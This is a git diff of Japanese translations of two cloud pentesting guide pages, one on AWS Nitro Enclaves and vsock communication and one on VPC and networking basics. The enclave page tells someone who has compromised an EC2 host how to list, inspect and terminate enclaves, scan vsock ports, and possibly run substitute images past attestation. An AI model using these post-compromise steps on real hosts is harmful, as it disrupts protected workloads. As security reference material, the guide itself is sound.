EC2インスタンスの基盤となる**革新的な技術**のスイートです。Amazonによって**セキュリティ、パフォーマンス、信頼性を向上させるために**導入され、Nitroはカスタム**ハードウェアコンポーネントと軽量ハイパーバイザー**を活用しています。従来の仮想化機能の多くを専用のハードウェアとソフトウェアに抽象化し、**攻撃面を最小限に抑え**、リソース効率を改善します。仮想化機能をオフロードすることで、NitroはEC2インスタンスに**ほぼベアメタルのパフォーマンス**を提供し、リソース集約型アプリケーションに特に有益です。さらに、Nitro Security Chipは**ハードウェアとファームウェアのセキュリティ**を特に確保し、その堅牢なアーキテクチャをさらに強化します。 ### Nitro Enclaves -**AWS Nitro Enclaves**は、Amazon EC2インスタンス内における安全で**隔離されたコンピューティング環境**を提供し、特に高度に機密性の高いデータの処理のために設計されています。AWS Nitroシステムを活用するこれらのエンクレーブは、堅牢な**隔離とセキュリティ**を確保し、PIIや財務記録などの**機密情報を扱う**のに理想的です。ミニマリスト環境を特徴としており、データ露出のリスクを大幅に低減します。さらに、Nitro Enclavesは暗号的証明をサポートし、ユーザーが認可されたコードのみが実行されていることを確認できるため、厳格なコンプライアンスとデータ保護基準を維持するために重要です。 +**AWS Nitro Enclaves**は、Amazon EC2インスタンス内における安全で**隔離されたコンピューティング環境**を提供し、特に高度に機密性の高いデータの処理のために設計されています。AWS Nitro Systemを活用するこれらのエンクレーブは、堅牢な**隔離とセキュリティ**を確保し、PIIや財務記録などの**機密情報を扱う**のに理想的です。ミニマリスト環境を特徴としており、データ露出のリスクを大幅に低減します。さらに、Nitro Enclavesは暗号的証明をサポートし、ユーザーが認可されたコードのみが実行されていることを確認できるため、厳格なコンプライアンスとデータ保護基準を維持するために重要です。 > [!CAUTION] > Nitro Enclaveイメージは**EC2インスタンス内から実行され**、AWSウェブコンソールからはEC2インスタンスがNitro Enclaveでイメージを実行しているかどうかは確認できません。 ## Nitro Enclave CLIのインストール -すべての指示に従ってください [**ドキュメントから**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave)。ただし、最も重要なものは次のとおりです: +すべての指示に従ってください[**ドキュメントから**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave)。ただし、最も重要なものは次のとおりです: ```bash # Install tools sudo amazon-linux-extras install aws-nitro-enclaves-cli -y @@ -33,13 +33,13 @@ sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable n ``` ## Nitro Enclave Images -Nitro Enclaveで実行できるイメージはdockerイメージに基づいているため、次のようなdockerイメージからNitro Enclaveイメージを作成できます: +Nitro Enclaveで実行できるイメージは、dockerイメージに基づいているため、次のようなdockerイメージからNitro Enclaveイメージを作成できます: ```bash # You need to have the docker image accesible in your running local registry # Or indicate the full docker image URL to access the image nitro-cli build-enclave --docker-uri : --output-file nitro-img.eif ``` -Nitro Enclave イメージは拡張子 **`eif`** (Enclave Image File) を使用しています。 +Nitro Enclave イメージは **`eif`** (Enclave Image File) 拡張子を使用しています。 出力は次のようになります: ``` @@ -54,7 +54,7 @@ Enclave Image successfully created. } } ``` -### Run an Image +### イメージを実行する [**ドキュメント**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave)によると、エンクレーブイメージを実行するには、**`eif`ファイルのサイズの少なくとも4倍のメモリを割り当てる必要があります**。ファイル内でそれに与えるデフォルトリソースを構成することが可能です。 ```shell @@ -77,14 +77,14 @@ EC2ホストを侵害した場合、次のコマンドで実行中のエンク ```bash nitro-cli describe-enclaves ``` -それは**実行中のエンクレーブイメージ内でシェルを取得することは不可能**です。なぜなら、それがエンクレーブの主な目的だからです。しかし、**`--debug-mode`**パラメータを使用した場合、次のコマンドでその**stdout**を取得することが可能です: +実行中のエンクレーブイメージ内でシェルを取得することは**不可能**です。なぜなら、それがエンクレーブの主な目的だからです。しかし、**`--debug-mode`**パラメータを使用した場合、次のコマンドでその**stdout**を取得することが可能です: ```shell ENCLAVE_ID=$(nitro-cli describe-enclaves | jq -r ".[0].EnclaveID") nitro-cli console --enclave-id ${ENCLAVE_ID} ``` -### Terminate Enclaves +### Enclavesの終了 -攻撃者がEC2インスタンスを侵害した場合、デフォルトではシェルにアクセスすることはできませんが、次のコマンドで**終了させる**ことができます: +攻撃者がEC2インスタンスを侵害した場合、デフォルトではシェルにアクセスすることはできませんが、次のコマンドで**終了する**ことができます: ```shell nitro-cli terminate-enclave --enclave-id ${ENCLAVE_ID} ``` @@ -92,7 +92,7 @@ nitro-cli terminate-enclave --enclave-id ${ENCLAVE_ID} **エンクレーブ**で実行されているイメージと通信する唯一の方法は、**vsocks**を使用することです。 -**Virtual Socket (vsock)**は、Linuxで特に設計されたソケットファミリーで、仮想マシン(**VMs**)とその**ハイパーバイザー**、またはVM同士の**通信**を促進します。Vsockは、ホストのネットワーキングスタックに依存せずに効率的な**双方向通信**を可能にします。これにより、ネットワーク構成がなくてもVM同士が通信できるようになり、**32ビットのコンテキストID(CID)とポート番号**を使用して接続を識別および管理します。vsock APIは、TCPおよびUDPに似たストリームおよびデータグラムソケットタイプの両方をサポートし、仮想環境におけるユーザーレベルのアプリケーションにとって多用途なツールを提供します。 +**Virtual Socket (vsock)**は、Linuxで特に設計されたソケットファミリーで、仮想マシン(**VMs**)とその**ハイパーバイザー**、またはVM同士の**通信**を促進します。Vsockは、ホストのネットワーキングスタックに依存せずに効率的な**双方向通信**を可能にします。これにより、ネットワーク構成がなくてもVM同士が通信できるようになり、**32ビットのコンテキストID(CID)とポート番号**を使用して接続を識別および管理します。vsock APIは、TCPやUDPに似たストリームおよびデータグラムソケットタイプの両方をサポートし、仮想環境におけるユーザーレベルのアプリケーションにとって多用途なツールを提供します。 > [!TIP] > したがって、vsockアドレスは次のようになります:`:` @@ -126,7 +126,7 @@ nitro-cli terminate-enclave --enclave-id ${ENCLAVE_ID}
> [!WARNING] -> ホストからはCIDがポートを公開しているかどうかを知る方法はないことに注意してください! **vsockポートスキャナーのような** [**https://github.com/carlospolop/Vsock-scanner**](https://github.com/carlospolop/Vsock-scanner)を使用しない限り。 +> ホストからはCIDがポートを公開しているかどうかを知る方法はありません!一部の**vsockポートスキャナー**を使用しない限り、[**https://github.com/carlospolop/Vsock-scanner**](https://github.com/carlospolop/Vsock-scanner)のような。 ### Vsock Server/Listener @@ -167,15 +167,15 @@ print(f"Received bytes: {buf}") # Using socat socat VSOCK-LISTEN:,fork EXEC:"echo Hello from server!" ``` -### Vsock Client +### Vsock クライアント -Examples: +例: - [https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/client.py](https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/client.py)
-シンプルなPythonクライアント +シンプルな Python クライアント ```python #!/usr/bin/env python3 @@ -220,7 +220,7 @@ Nitro Enclaves SDKは、エンクレーブがNitro **ハイパーバイザー**
PCRHash of ...Description
PCR0エンクレーブイメージファイルセクションデータなしで、イメージファイルの内容の連続的な測定。
PCR1Linuxカーネルとブートストラップカーネルとブートramfsデータの連続的な測定。
PCR2アプリケーションブートramfsなしで、ユーザーアプリケーションの連続的かつ順序通りの測定。
PCR3親インスタンスに割り当てられたIAMロール親インスタンスに割り当てられたIAMロールの連続的な測定。親インスタンスが正しいIAMロールを持っている場合にのみ、アテステーションプロセスが成功することを保証します。
PCR4親インスタンスのインスタンスID親インスタンスのIDの連続的な測定。親インスタンスが特定のインスタンスIDを持っている場合にのみ、アテステーションプロセスが成功することを保証します。
PCR8エンクレーブイメージファイル署名証明書エンクレーブイメージファイルに指定された署名証明書の測定。特定の証明書によって署名されたエンクレーブイメージファイルからブートされた場合にのみ、アテステーションプロセスが成功することを保証します。
-**暗号的アテステーション**をアプリケーションに統合し、**AWS KMS**のようなサービスとの事前構築された統合を活用できます。AWS KMSは**エンクレーブアテステーションを検証**でき、キー政策にアテステーションベースの条件キー(`kms:RecipientAttestation:ImageSha384`および`kms:RecipientAttestation:PCR`)を提供します。これらのポリシーは、AWS KMSがKMSキーを使用する操作を**エンクレーブのアテステーション文書が有効であり**、**指定された条件を満たす場合にのみ許可する**ことを保証します。 +**暗号的アテステーション**をアプリケーションに統合し、**AWS KMS**のようなサービスとの事前構築された統合を活用できます。AWS KMSは**エンクレーブアテステーションを検証**でき、キー政策にアテステーションベースの条件キー(`kms:RecipientAttestation:ImageSha384`および`kms:RecipientAttestation:PCR`)を提供します。これらのポリシーは、エンクレーブのアテステーション文書が有効であり、**指定された条件**を満たす場合にのみ、AWS KMSがKMSキーを使用する操作を許可することを保証します。 > [!TIP] > デバッグ(--debug)モードのエンクレーブは、ゼロ(`000000000000000000000000000000000000000000000000`)で構成されたPCRを持つアテステーション文書を生成することに注意してください。したがって、これらの値をチェックするKMSポリシーは失敗します。 @@ -231,7 +231,7 @@ Nitro Enclaves SDKは、エンクレーブがNitro **ハイパーバイザー** したがって、EC2インスタンスを侵害した攻撃者は、これらの保護を回避するために他のエンクレーブイメージを実行できる可能性があります。 -各保護を回避するために新しいイメージを変更/作成する方法に関する研究(特に明らかでないもの)はまだTODOです。 +各保護を回避するために新しいイメージを変更/作成する方法に関する研究(特にそれほど明白でないもの)はまだTODOです。 ## References diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md index fb0518c00..33d93f004 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md @@ -1,56 +1,56 @@ -# AWS - VPC & Networking Basic Information +# AWS - VPC & Networking 基本情報 {{#include ../../../../banners/hacktricks-training.md}} -## AWS Networking in a Nutshell +## AWS ネットワーキングの概要 -**VPC**は、10.0.0.0/16のような**ネットワークCIDR**を含み(その**ルーティングテーブル**と**ネットワークACL**を持つ)。 +**VPC** は **ネットワーク CIDR** を含みます(例: 10.0.0.0/16、**ルーティングテーブル** と **ネットワーク ACL** を持つ)。 -このVPCネットワークは**サブネット**に分割されており、**サブネット**は**VPC**、**ルーティング** **テーブル**、および**ネットワークACL**に直接**関連**しています。 +この VPC ネットワークは **サブネット** に分割されており、**サブネット** は **VPC**、**ルーティングテーブル**、および **ネットワーク ACL** に直接 **関連** しています。 -次に、サービス(EC2インスタンスなど)に接続された**ネットワークインターフェース**は、**セキュリティグループ**を使用して**サブネット**に**接続**されます。 +次に、サービス(EC2 インスタンスなど)に接続された **ネットワークインターフェース** は **サブネット** に **セキュリティグループ** を使用して **接続** されます。 -したがって、**セキュリティグループ**は、**サブネット**に関係なく、**それを使用する**ネットワーク**インターフェース**の公開ポートを制限します。そして、**ネットワークACL**は**全体のネットワーク**に対して公開ポートを**制限**します。 +したがって、**セキュリティグループ** は、**サブネット** に関係なく、ネットワーク **インターフェース** の公開ポートを制限します。そして、**ネットワーク ACL** は **全体のネットワーク** に対して公開ポートを **制限** します。 -さらに、**インターネットにアクセスする**ために確認すべきいくつかの興味深い設定があります: +さらに、**インターネットにアクセスするためには**、確認すべきいくつかの興味深い設定があります: -- **サブネット**は**自動的にパブリックIPv4アドレスを割り当てる**ことができます -- **自動的にIPv4アドレスを割り当てる**ネットワーク内で作成された**インスタンス**は、1つを取得できます -- **インターネットゲートウェイ**は**VPCに接続**される必要があります -- **Egress-onlyインターネットゲートウェイ**を使用することもできます -- **プライベートサブネット**に**NATゲートウェイ**を持つこともでき、そこから外部サービスに**接続する**ことが可能ですが、**外部からそれらに到達することはできません**。 -- NATゲートウェイは**パブリック**(インターネットへのアクセス)または**プライベート**(他のVPCへのアクセス)である可能性があります。 +- **サブネット** は **自動的にパブリック IPv4 アドレスを割り当てる** ことができます +- **自動的に IPv4 アドレスを割り当てる** サブネット内で作成された **インスタンス** は、1 つのアドレスを取得できます +- **インターネットゲートウェイ** は **VPC** に **接続** される必要があります +- **Egress-only インターネットゲートウェイ** を使用することもできます +- **プライベートサブネット** に **NAT ゲートウェイ** を持つこともでき、そこから外部サービスに **接続する** ことが可能ですが、外部からそれらに到達することは **できません**。 +- NAT ゲートウェイは **パブリック**(インターネットへのアクセス)または **プライベート**(他の VPC へのアクセス)である可能性があります。 ![](<../../../../images/image (274).png>) ## VPC -Amazon **Virtual Private Cloud**(Amazon VPC)は、あなたが定義した**仮想ネットワーク**に**AWSリソースを起動**することを可能にします。この仮想ネットワークには、いくつかのサブネット、インターネットゲートウェイ、ACL、セキュリティグループ、IPが含まれます... +Amazon **Virtual Private Cloud** (Amazon VPC) は、定義した仮想ネットワークに **AWS リソースを起動する** ことを可能にします。この仮想ネットワークには、いくつかのサブネット、インターネットゲートウェイ、ACL、セキュリティグループ、IP などがあります。 -### Subnets +### サブネット -サブネットは、より高いレベルのセキュリティを強化するのに役立ちます。**類似リソースの論理的グループ化**は、インフラストラクチャ全体の**管理の容易さ**を維持するのにも役立ちます。 +サブネットは、より高いレベルのセキュリティを強化するのに役立ちます。**類似リソースの論理的グループ化** は、インフラストラクチャ全体の **管理の容易さ** を維持するのにも役立ちます。 -- 有効なCIDRは、/16ネットマスクから/28ネットマスクまでです。 +- 有効な CIDR は /16 ネットマスクから /28 ネットマスクまでです。 - サブネットは同時に異なるアベイラビリティゾーンに存在することはできません。 -- **AWSは各サブネットの最初の3つのホストIPアドレスを** **内部AWS使用のために予約**しています:最初のホストアドレスはVPCルーターに使用されます。2番目のアドレスはAWS DNS用に予約され、3番目のアドレスは将来の使用のために予約されています。 -- **インターネットに直接アクセスできる**サブネットは**パブリックサブネット**と呼ばれ、プライベートサブネットはそうではありません。 +- **AWS は各サブネットの最初の 3 つのホスト IP アドレスを** **内部 AWS 使用のために予約しています**:最初のホストアドレスは VPC ルーター用に使用されます。2 番目のアドレスは AWS DNS 用に予約され、3 番目のアドレスは将来の使用のために予約されています。 +- **インターネットに直接アクセスできる** サブネットは **パブリックサブネット** と呼ばれ、プライベートサブネットはそうではありません。
-### Route Tables +### ルートテーブル -ルートテーブルは、VPC内のサブネットのトラフィックルーティングを決定します。どのネットワークトラフィックがインターネットまたはVPN接続に転送されるかを決定します。通常、以下へのアクセスが見つかります: +ルートテーブルは、VPC 内のサブネットのトラフィックルーティングを決定します。どのネットワークトラフィックがインターネットまたは VPN 接続に転送されるかを決定します。通常、次のアクセスが見つかります: -- ローカルVPC +- ローカル VPC - NAT -- インターネットゲートウェイ / Egress-onlyインターネットゲートウェイ(VPCにインターネットアクセスを提供するために必要)。 -- サブネットをパブリックにするには、**インターネットゲートウェイを作成してVPCに** **接続**する必要があります。 -- VPCエンドポイント(プライベートネットワークからS3にアクセスするため) +- インターネットゲートウェイ / Egress-only インターネットゲートウェイ(VPC にインターネットアクセスを提供するために必要です)。 +- サブネットをパブリックにするには、**インターネットゲートウェイを作成して VPC に接続する** 必要があります。 +- VPC エンドポイント(プライベートネットワークから S3 にアクセスするため) -以下の画像では、デフォルトのパブリックネットワークとプライベートネットワークの違いを確認できます: +次の画像では、デフォルトのパブリックネットワークとプライベートネットワークの違いを確認できます:
@@ -58,133 +58,132 @@ Amazon **Virtual Private Cloud**(Amazon VPC)は、あなたが定義した** ### ACLs -**ネットワークアクセス制御リスト(ACL)**:ネットワークACLは、サブネットへの入出力ネットワークトラフィックを制御するファイアウォールルールです。特定のIPアドレスまたは範囲へのトラフィックを許可または拒否するために使用できます。 +**ネットワークアクセス制御リスト (ACL)**:ネットワーク ACL は、サブネットへの入出力ネットワークトラフィックを制御するファイアウォールルールです。特定の IP アドレスまたは範囲へのトラフィックを許可または拒否するために使用できます。 - アクセスを許可/拒否するためにセキュリティグループを使用することが最も一般的ですが、これは確立されたリバースシェルを完全に切断する唯一の方法です。セキュリティグループのルールを変更しても、すでに確立された接続は停止しません。 - ただし、これは全体のサブネットに適用されるため、必要な機能が妨げられる可能性があるため、注意が必要です。 -### Security Groups +### セキュリティグループ -セキュリティグループは、VPC内のインスタンスへの入出力ネットワーク**トラフィック**を制御する仮想**ファイアウォール**です。1つのSGとMインスタンスの関係(通常は1対1)。\ -通常、これはインスタンス内の危険なポートを開くために使用されます。例えば、ポート22など: +セキュリティグループは、VPC 内のインスタンスへの入出力ネットワーク **トラフィック** を制御する仮想 **ファイアウォール** です。1 つの SG と M インスタンスの関係(通常は 1 対 1)。\ +通常、これはインスタンスの危険なポートを開くために使用されます。例えば、ポート 22 など:
-### Elastic IP Addresses +### Elastic IP アドレス -_Elastic IPアドレス_は、動的クラウドコンピューティング用に設計された**静的IPv4アドレス**です。Elastic IPアドレスはあなたのAWSアカウントに割り当てられ、解放するまであなたのものです。Elastic IPアドレスを使用することで、インスタンスやソフトウェアの障害をマスクし、アカウント内の別のインスタンスにアドレスを迅速に再マッピングできます。 +_Elastic IP アドレス_ は、動的クラウドコンピューティング用に設計された **静的 IPv4 アドレス** です。Elastic IP アドレスは、あなたの AWS アカウントに割り当てられ、解放するまであなたのものです。Elastic IP アドレスを使用することで、インスタンスやソフトウェアの障害をマスクし、アドレスをアカウント内の別のインスタンスに迅速に再マッピングできます。 -### Connection between subnets +### サブネット間の接続 -デフォルトでは、すべてのサブネットは**自動的にパブリックIPアドレスを割り当てる**ことがオフになっていますが、オンにすることができます。 +デフォルトでは、すべてのサブネットは **自動的にパブリック IP アドレスを割り当てる** 設定がオフになっていますが、オンにすることができます。 -**ルートテーブル内のローカルルートは、VPCサブネット間の通信を可能にします。** +**ルートテーブル内のローカルルートは、VPC サブネット間の通信を可能にします。** -異なるサブネットと接続している場合、他のサブネットに接続されたサブネットにアクセスすることはできません。直接接続を作成する必要があります。**これはインターネットゲートウェイにも適用されます**。インターネットにアクセスするためにサブネット接続を通過することはできず、インターネットゲートウェイをサブネットに割り当てる必要があります。 +異なるサブネットと接続する場合、他のサブネットに接続されたサブネットにはアクセスできません。直接接続を作成する必要があります。**これはインターネットゲートウェイにも適用されます**。インターネットにアクセスするためにサブネット接続を通過することはできず、インターネットゲートウェイをサブネットに割り当てる必要があります。 -### VPC Peering +### VPC ピアリング -VPCピアリングは、**2つ以上のVPCを接続**することを可能にし、IPV4またはIPV6を使用して、同じネットワークの一部であるかのように接続します。 +VPC ピアリングは、**2 つ以上の VPC を接続する** ことを可能にします。IPV4 または IPV6 を使用し、同じネットワークの一部であるかのように接続します。 -ピア接続が確立されると、**1つのVPC内のリソースは他のリソースにアクセスできます**。VPC間の接続は、既存のAWSネットワークインフラストラクチャを通じて実装されるため、高可用性で帯域幅のボトルネックはありません。**ピア接続は同じネットワークの一部であるかのように動作するため、使用できるCIDRブロック範囲に制限があります。**\ -VPCの**重複または重なり合うCIDR**範囲がある場合、**VPCをピアリングすることはできません**。\ -各AWS VPCは**そのピアとのみ通信します**。例えば、VPC 1とVPC 2の間にピア接続があり、VPC 2とVPC 3の間に別の接続がある場合、VPC 1とVPC 2は直接通信でき、VPC 2とVPC 3も同様ですが、VPC 1とVPC 3は通信できません。**1つのVPCを通じて別のVPCにルーティングすることはできません。** +ピア接続が確立されると、**1 つの VPC のリソースが他の VPC のリソースにアクセスできます**。VPC 間の接続は、既存の AWS ネットワークインフラストラクチャを通じて実装されるため、高可用性で帯域幅のボトルネックはありません。**ピア接続は同じネットワークの一部であるかのように動作するため、使用できる CIDR ブロック範囲に制限があります。**\ +VPC に **重複または重なり合う CIDR** 範囲がある場合、**VPC をピアリングすることはできません**。\ +各 AWS VPC は **そのピアとのみ通信します**。例えば、VPC 1 と VPC 2 の間にピア接続があり、VPC 2 と VPC 3 の間に別の接続がある場合、VPC 1 と VPC 2 は直接通信でき、VPC 2 と VPC 3 も同様ですが、VPC 1 と VPC 3 は通信できません。**1 つの VPC を通じて別の VPC にルーティングすることはできません。** -### **VPC Flow Logs** +### **VPC フローログ** -VPC内には、異なるサブネット間で通信する数百または数千のリソースが存在する可能性があります。**VPC Flow Logsは、VPC内のリソースのネットワークインターフェース間で流れるIPトラフィック情報をキャプチャすることを可能にします**。 +VPC 内には、異なるサブネット間で通信する数百または数千のリソースが存在する可能性があります。**VPC フローログを使用すると、VPC 内のリソースのネットワークインターフェース間で流れる IP トラフィック情報をキャプチャできます**。 -S3アクセスログやCloudFrontアクセスログとは異なり、**VPC Flow Logsによって生成されたログデータはS3に保存されません。代わりに、キャプチャされたログデータはCloudWatchログに送信されます**。 +S3 アクセスログや CloudFront アクセスログとは異なり、**VPC フローログによって生成されたログデータは S3 に保存されません。代わりに、キャプチャされたログデータは CloudWatch ログに送信されます**。 制限事項: -- VPCピア接続を実行している場合、同じアカウント内のピアVPCのフローログのみを表示できます。 -- EC2-Classic環境内でリソースを実行している場合、残念ながらそのインターフェースから情報を取得することはできません。 -- VPC Flow Logが作成されると、変更することはできません。VPC Flow Logの設定を変更するには、それを削除して新しいものを再作成する必要があります。 -- 次のトラフィックはログによって監視およびキャプチャされません。VPC内のDHCPトラフィック、Amazon DNSサーバー宛てのインスタンスからのトラフィック。 -- VPCデフォルトルーターのIPアドレス宛てのトラフィックおよび次のアドレスとの間のトラフィック、169.254.169.254(インスタンスメタデータを収集するために使用される)および169.254.169.123(Amazon Time Sync Serviceに使用される)。 -- WindowsインスタンスからのAmazon Windowsアクティベーションライセンスに関連するトラフィック +- VPC ピア接続を実行している場合、同じアカウント内のピア VPC のフローログのみを表示できます。 +- EC2-Classic 環境内でリソースを実行している場合、残念ながらそのインターフェースから情報を取得することはできません。 +- VPC フローログが作成されると、変更することはできません。VPC フローログの設定を変更するには、削除して新しいものを再作成する必要があります。 +- 次のトラフィックはログによって監視されず、キャプチャされません。VPC 内の DHCP トラフィック、Amazon DNS サーバー宛のインスタンスからのトラフィック。 +- VPC デフォルトルーターの IP アドレス宛のトラフィック、およびインスタンスメタデータを収集するために使用される 169.254.169.254 および Amazon Time Sync Service に使用される 169.254.169.123 との間のトラフィック。 +- Windows インスタンスからの Amazon Windows アクティベーションライセンスに関連するトラフィック - ネットワークロードバランサーインターフェースとエンドポイントネットワークインターフェース間のトラフィック -CloudWatchロググループにデータを公開する各ネットワークインターフェースは、異なるログストリームを使用します。そして、これらのストリーム内には、ログエントリの内容を示すフローログイベントデータがあります。これらの**ログは、約10〜15分のウィンドウ内でデータをキャプチャします**。 +CloudWatch ロググループにデータを公開する各ネットワークインターフェースは、異なるログストリームを使用します。そして、これらのストリームの各々には、ログエントリの内容を示すフローログイベントデータがあります。これらの **ログは、約 10 ~ 15 分のウィンドウ内でデータをキャプチャします**。 ## VPN -### Basic AWS VPN Components +### 基本的な AWS VPN コンポーネント -1. **Customer Gateway**: -- カスタマーゲートウェイは、VPN接続のあなたの側を表すためにAWSで作成するリソースです。 -- これは、サイト間VPN接続のあなたの側にある物理デバイスまたはソフトウェアアプリケーションです。 -- ルーティング情報とネットワークデバイス(ルーターやファイアウォールなど)のパブリックIPアドレスをAWSに提供してカスタマーゲートウェイを作成します。 -- VPN接続を設定するための参照ポイントとして機能し、追加料金は発生しません。 -2. **Virtual Private Gateway**: -- 仮想プライベートゲートウェイ(VPG)は、サイト間VPN接続のAmazon側のVPN集中装置です。 -- VPCに接続され、VPN接続のターゲットとして機能します。 -- VPGはVPN接続のAWS側エンドポイントです。 -- VPCとオンプレミスネットワーク間の安全な通信を処理します。 -3. **Site-to-Site VPN Connection**: -- サイト間VPN接続は、オンプレミスネットワークをVPCに安全なIPsec VPNトンネルを介して接続します。 +1. **カスタマーゲートウェイ**: +- カスタマーゲートウェイは、VPN 接続のあなたの側を表すために AWS で作成するリソースです。 +- これは、サイト間 VPN 接続のあなたの側にある物理デバイスまたはソフトウェアアプリケーションです。 +- ルーティング情報とネットワークデバイス(ルーターやファイアウォールなど)のパブリック IP アドレスを AWS に提供してカスタマーゲートウェイを作成します。 +- VPN 接続を設定するための参照ポイントとして機能し、追加料金は発生しません。 +2. **仮想プライベートゲートウェイ**: +- 仮想プライベートゲートウェイ (VPG) は、サイト間 VPN 接続の Amazon 側の VPN 集中装置です。 +- VPC に接続され、VPN 接続のターゲットとして機能します。 +- VPG は VPN 接続の AWS 側エンドポイントです。 +- VPC とオンプレミスネットワーク間の安全な通信を処理します。 +3. **サイト間 VPN 接続**: +- サイト間 VPN 接続は、オンプレミスネットワークを VPC に安全な IPsec VPN トンネルを介して接続します。 - このタイプの接続には、カスタマーゲートウェイと仮想プライベートゲートウェイが必要です。 -- データセンターやネットワークとAWS環境間の安全で安定した一貫した通信に使用されます。 +- データセンターやネットワークと AWS 環境間の安全で安定した一貫した通信に使用されます。 - 通常、定期的で長期的な接続に使用され、接続を介して転送されるデータ量に基づいて請求されます。 -4. **Client VPN Endpoint**: -- クライアントVPNエンドポイントは、クライアントVPNセッションを有効にし、管理するためにAWSで作成するリソースです。 -- 個々のデバイス(ラップトップ、スマートフォンなど)がAWSリソースまたはオンプレミスネットワークに安全に接続できるようにするために使用されます。 -- サイト間VPNとは異なり、個々のクライアント向けに設計されています。 -- クライアントVPNでは、各クライアントデバイスがVPNクライアントソフトウェアを使用して安全な接続を確立します。 +4. **クライアント VPN エンドポイント**: +- クライアント VPN エンドポイントは、クライアント VPN セッションを有効にし、管理するために AWS で作成するリソースです。 +- 個々のデバイス(ラップトップ、スマートフォンなど)が AWS リソースまたはオンプレミスネットワークに安全に接続できるようにするために使用されます。 +- サイト間 VPN とは異なり、個々のクライアント向けに設計されています。 -### Site-to-Site VPN +### サイト間 VPN -**オンプレミスネットワークをVPCに接続します。** +**オンプレミスネットワークを VPC に接続します。** -- **VPN接続**:オンプレミス機器とVPC間の安全な接続。 -- **VPNトンネル**:顧客ネットワークからAWSへのデータが通過できる暗号化されたリンク。 +- **VPN 接続**:オンプレミス機器と VPC 間の安全な接続。 +- **VPN トンネル**:顧客ネットワークから AWS へのデータが通過できる暗号化されたリンク。 -各VPN接続には、同時に使用できる2つのVPNトンネルが含まれています。 +各 VPN 接続には、同時に使用できる 2 つの VPN トンネルが含まれています。 -- **カスタマーゲートウェイ**:AWSに顧客ゲートウェイデバイスに関する情報を提供するAWSリソース。 -- **カスタマーゲートウェイデバイス**:サイト間VPN接続のあなたの側にある物理デバイスまたはソフトウェアアプリケーション。 -- **仮想プライベートゲートウェイ**:サイト間VPN接続のAmazon側のVPN集中装置。サイト間VPN接続のAmazon側のゲートウェイとして仮想プライベートゲートウェイまたはトランジットゲートウェイを使用します。 -- **トランジットゲートウェイ**:VPCとオンプレミスネットワークを相互接続するために使用できるトランジットハブ。サイト間VPN接続のAmazon側のゲートウェイとしてトランジットゲートウェイまたは仮想プライベートゲートウェイを使用します。 +- **カスタマーゲートウェイ**:AWS に顧客ゲートウェイデバイスに関する情報を提供する AWS リソース。 +- **カスタマーゲートウェイデバイス**:サイト間 VPN 接続のあなたの側にある物理デバイスまたはソフトウェアアプリケーション。 +- **仮想プライベートゲートウェイ**:サイト間 VPN 接続の Amazon 側の VPN 集中装置。サイト間 VPN 接続の Amazon 側のゲートウェイとして仮想プライベートゲートウェイまたはトランジットゲートウェイを使用します。 +- **トランジットゲートウェイ**:VPC とオンプレミスネットワークを相互接続するために使用できるトランジットハブ。サイト間 VPN 接続の Amazon 側のゲートウェイとしてトランジットゲートウェイまたは仮想プライベートゲートウェイを使用します。 -#### Limitations +#### 制限事項 -- IPv6トラフィックは、仮想プライベートゲートウェイのVPN接続ではサポートされていません。 -- AWS VPN接続は、Path MTU Discoveryをサポートしていません。 +- 仮想プライベートゲートウェイの VPN 接続では IPv6 トラフィックはサポートされていません。 +- AWS VPN 接続は Path MTU Discovery をサポートしていません。 -さらに、サイト間VPNを使用する際には、次の点を考慮してください。 +さらに、サイト間 VPN を使用する際には次の点を考慮してください。 -- VPCを共通のオンプレミスネットワークに接続する場合、ネットワークのCIDRブロックが重複しないようにすることをお勧めします。 +- VPC を共通のオンプレミスネットワークに接続する場合、ネットワークのために重複しない CIDR ブロックを使用することをお勧めします。 -### Client VPN +### クライアント VPN -**あなたのマシンからVPCに接続します** +**あなたのマシンから VPC に接続します** -#### Concepts +#### 概念 -- **クライアントVPNエンドポイント**:クライアントVPNセッションを有効にし、管理するために作成および構成するリソースです。すべてのクライアントVPNセッションが終了するリソースです。 -- **ターゲットネットワーク**:ターゲットネットワークは、クライアントVPNエンドポイントに関連付けるネットワークです。**VPCのサブネットはターゲットネットワークです**。サブネットをクライアントVPNエンドポイントに関連付けることで、VPNセッションを確立できます。高可用性のために、複数のサブネットをクライアントVPNエンドポイントに関連付けることができます。すべてのサブネットは同じVPCからでなければなりません。各サブネットは異なるアベイラビリティゾーンに属する必要があります。 -- **ルート**:各クライアントVPNエンドポイントには、利用可能な宛先ネットワークルートを説明するルートテーブルがあります。ルートテーブル内の各ルートは、特定のリソースまたはネットワークへのトラフィックのパスを指定します。 -- **認可ルール**:認可ルールは、**ネットワークにアクセスできるユーザーを制限します**。指定されたネットワークに対して、アクセスを許可されているActive Directoryまたはアイデンティティプロバイダー(IdP)グループを構成します。このグループに属するユーザーのみが指定されたネットワークにアクセスできます。**デフォルトでは、認可ルールはありません**。ユーザーがリソースやネットワークにアクセスできるようにするには、認可ルールを構成する必要があります。 -- **クライアント**:VPNセッションを確立するためにクライアントVPNエンドポイントに接続するエンドユーザー。エンドユーザーはOpenVPNクライアントをダウンロードし、作成したクライアントVPN構成ファイルを使用してVPNセッションを確立する必要があります。 -- 